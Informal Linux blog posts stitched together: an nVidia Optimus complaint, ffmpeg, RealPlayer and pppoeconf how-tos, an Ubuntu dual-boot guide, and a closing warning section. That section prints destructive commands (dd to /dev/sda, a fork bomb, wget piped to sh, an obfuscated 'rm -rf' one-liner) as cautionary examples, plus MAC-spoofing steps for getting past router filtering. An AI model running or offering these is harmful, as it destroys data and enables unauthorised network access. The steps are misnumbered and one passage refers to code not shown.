Its been a long since i wrote any stuffs for my blog, reason was busy with life. Now that i left my job i got more time to make love with Linux, and write about Linux.
Perhaps the most important thing in today's world of computing is the Graphics cards. Gamers, Designers and even the general public are now getting more and more interested in having a graphics card in their Desktop and Laptops. The two most popular brands is nVidia and ATI. Among the two nVidia is known best for their official Linux support. The drivers could be downloaded right from their website. Bu it will be a very sad news for all the Linux people out their that the nVidia Optimus Technology is NOT supported for Linux. Those who don't know what is this thing about, its a new technology specially made for laptops that helps optimize the performance and battery life of netbooks. The trick is that it switches from nVidia graphics chip and Intel graphics chip depending on your current usage. If you are using normal applications like writing a doc,etc then it switches to Intel graphics chip , and as you know it saves the battery as it uses less power. And it switches to nVidia when you are using 3D application such as games etc.
So, why did suddenly a company like nVidia stopped providing supports for Linux? They also said that they don't have any plans to provide support for Linux. What do you think the reason is? Is it because most of the laptops are shipped with Windows? Is it because Microsoft providing funds for R&D of nVidia? or is it simply because number of Linux users are less then the number of Windows user. Do post your comments. And if you are a Dev do let me know if any reversed engineered driver is coming ;)
Hi, today I will tell u how to convert a video from one format 2 other, in Linux.
We will use a open-source video convertor known as “ffmpeg” (don't think that bcoz it got mpeg name in it can convert only to mpeg ,it convert any video format to nay format u wish for) ffmpeg is a command line tool so here are the instruction on how to use it.
Step1: Open Terminal.
Step2: cd to the directory where the video that u want to convert is located.
Step3: type $ ffmpeg -i input.ext output.ext (note="input" reffers to file name of video to be converted, "output" reffers to file name of converted video file, "ext" reffers to video format like avi,flv,etc.)and press enter thats it ur video gets converted!!!! is int it easy??? of-course it is.
Now u may say when u do video conversion in windows u get many options like to set quality and frame rate, etc well u can do that in Linux from Terminal too!!!
If u want to convert an avi file to flv with 360 video bitrate and 128 audio bitrate then u type this in Terminal.
$ ffmpeg -i input.avi -b 360 -ab 128 output.flv
Video Help.
There are lot of preference and usage of ffmpeg available. Here are they:
Hi,today I will tell u, how to install Real One Player in Linux. First of all u need to download RealPlayer11GOLD.bin file from Real One Player's websit. Then follow these instructions. Step 1: Open ur Terminal and login as root, by typing su and ur password then type chmod a+x RealPlayer11GOLD.bin after that type ./RealPlayer11GOLD.bin Note that the Directory in which Real Player is to be installed is [/opt/real/RealPlayer ] don't change it. Step 2: After selecting the directory u will see this on ur terminal Type f and press Enter Step3: Real One Players file will be copied........ Congrats U have installed Real Player on Linux. Now enjoy ur audio And also enjoy ur videos
Connecting to Internet in Ubuntu. Connecting to the internet is very easy in Ubuntu.(DSL connection,wired connection,Broadband connection)
Step 1: Open the Terminal. Application>Accessories>Terminal
Step 2: Type sudo pppoeconf
A text based menu program will guide u through.
Step 3: Confirm Ethernet Card,which is detected.
Step 4: Enter User name.
Step 5: Enter Password.
Step 6: Select "Yes" when u see the message "noauth" and defaultroute" to remove "nodetach".
Step 7:Select "Yes" when u are asked Use peer DNS.
Step 8:Select "Yes" for Limited MSS problem.
Step 9: When u are asked if u want to start the connection Select "Yes".
U r connected to internet open Mozilla Firefox and start surfing.
Step 10: Next time when u want to connect to internet open terminal and type sudo pon dsl-provider
Step 11: To disconnect internet connection open terminal and type sudo poff dsl-provider
Guide to install Ubuntu on ur computer. I am writing a step by step instruction on installing Ubuntu. Well most of the users would like to dual boot their computer,i.e they would like to install Ubuntu without removing Windows,so I am showing the procedure of dual booting.
Step 1 Insertthe CD into the drive and restart ur computer.If ur computer shows a message like "Press any key to boot from CD" then do it. Step 2 If the CD boots properly then u will see the following screen. Here u have to select which language u want to use for ur computer. I selected English, u may select any other language which u like.
Step 3 After u have selected ur language u will see this screen U have to select "Install Ubuntu" option.
Step 4 After u have selected "Install Ubuntu" option it will load just wait for few seconds,u will see this screen while it loads. Ubuntu is loading..........
Step 5 After it loads u will see a warning message,don't be afraid this message means u will lose data stored on the partition on which u will install Ubuntu,u must have taken backup of ur data,i think u know how to take data backup.This is the screen which u will see. Don't worry ur Windows installation will be ok.
Step 6 The installer will welcome u and will ask if u r ready to install Ubuntu. Select "Forward" if u r ready.
Step 7 Now u will see a world map select ur place,so that the time can be adjusted. After selecting the place where u live select "Forward". Step 8 Now u will be asked to select the keyboard layout well chose USA,its the most common layout used worldwide. U will also find a place to type and test ur keyboard, if u r not sure then u can test, then click "Forward".
Step 9 Now the partitioner will start Step 10 After the partitioner loads u will see this Click forward if u don't want to change partition size,or else change the partition size by click and drag with ur mouse,like this... After u have decided what size ur partition will b then click "Forward"
Step 11 After u have clicked "Forward" u will see a warning message saying that once the partition is made it can not be undone. Click "Continue" we have taken every possible care for not hampering windows installation so we don't need to worry.
Step 12 Now it will take some time for writing changes to the disk. Just wait,don't do anything.
Step 13 After writing changes to the disk have been completed then installer will ask ur name ur desired user name and password. Fill up all the fields, then click "Forward".
Step 14 U will get a option to import any documents which u have created under Windows. Select the user name of Windows under which u have created the documents. If u don't want to import anything just click "Forward".
Step 15 Importing the documents. Documents are being imported from a selected user of Windows to Ubuntu.
Step 15 Installer will ask u if u r ready to install. Click on "Install"
Step 16 Ubuntu will start installing....... It will take some time to install,dont worry. Step 18 After installing is completed u will see this message. Ur installation is complete. Click on "Restart Now".
Step 19 Ubuntu is shutting down........ Step 20 Take out the Ubuntu CD. Press Enter.
Step 21 Select this if u want to start Ubuntu. or select this if u want to start Windows. Step 22 I have selected Ubuntu so Ubuntu will load. Ubuntu asking for User name.
Ubuntu asking for Password. Step 23 Ubuntu loaded. Welcome to the world of Linux. Have fun using Linux.
WARNING: /dev/hda and /dev/hdb from the above example can be replaced with /dev/sda or /dev/sdb in the case of SATA and SCSI.
Block device manipulation: Causes raw data to be written to a block device. Often times this will strike violently the file system and cause total loss of data!
any_command > /dev/sda
dd if=something of=/dev/sda
Forkbomb : It is a malicious script that will execute a number of processes until your system freezes, this will force you to do a hard reboot which may cause damage to your system.
CODE :
:(){:|:&};:
CODE :
fork while fork
Tarbomb: Let's say that somebody who wants to help you, he offer a tar.gz or tar.bz2 archive and asks you to extract it into an existing directory. This archive can be crafted to explode into a billions of files, or inject other existing files into the system by guessing their filenames. You should make the habit of decompressing tar.gz or tar.bz2 archives inside a newly created empty directory!
Decompression bomb: Here's another example. Let's say somebody asks you to extract an archive which appears to be a small download. In reality it's highly compressed data and will inflate to hundreds of Gigabites, filling your hard drive until it freezes! You should not touch data from an untrusted source!
Shellscript: This one is very dangrous! Somebody gives you a link to download, to a shellscript and then they will asks you to execute it. This script can contain dangerous command he chooses, and that will damage your system . Do not execute code from people you don't trust! Here are some examples:
CODE :
wget http://my_site/my_file
sh ./some_file
Example :
wget http://ceattingal.ac.in/malicious-script
sh ./malicious-script
or
wget http://my_site/my_file -O- | sh
Example :
wget http://ihrd.org/malicious-script -O- | sh
Compiling code: Some person gives you the source code to an application and tells you to compile it. It is easy to hide dangerous codes in side large wad of source code, the attacker can easly damage your system. So Do not compile or execute the compiled code unless the source is of some well-known application, obtained from a reputable site.
To the new and inexperienced computer user, this looks like the "hex code gibberish stuff" that is so typical of a safe proof-of-concept. However, this actually runs rm -rf ~ / & which will destroy your home directory as a regular user, or all files as root.
Here's another example of code that should definitely NOT be executed by anyone!
CODE : python -c 'import os; os.system("".join([chr(ord(i)-1) for i in "sn!.sg!+"]))'
Where "sn!.sg!+" is simply rm -rf * shifted a character up.
one more threat is that in Ubuntu we can actually change our machines MAC address,this process can be used to bypass MAC filtering for wifi security(where router is set to allow interten connection to a specific MAC address) now if u know what MAC address it allows to access the net u can change ur device mac address to that 2 surf net without the router owner's permission.Here is the code to change ur device MAC address
first u check ur MAC address by typing #ifconfig in terminal
now code for changing it
#ifconfig etho0 down
#ifconfig etho0 hw ether 1b:2a:4c:4d:8e(this is example u can put any MAC addres u want in place of this address)
#ifconfig etho up
that's it MAC address changed.... confirm the change by typing #ifconfig to see ur new MAC address
Please note I am giving this code for knowledge,learning purpose only I don't want to encourage people to do harm,I don't want to harm others.This thing is written so that people stay alert and safe.
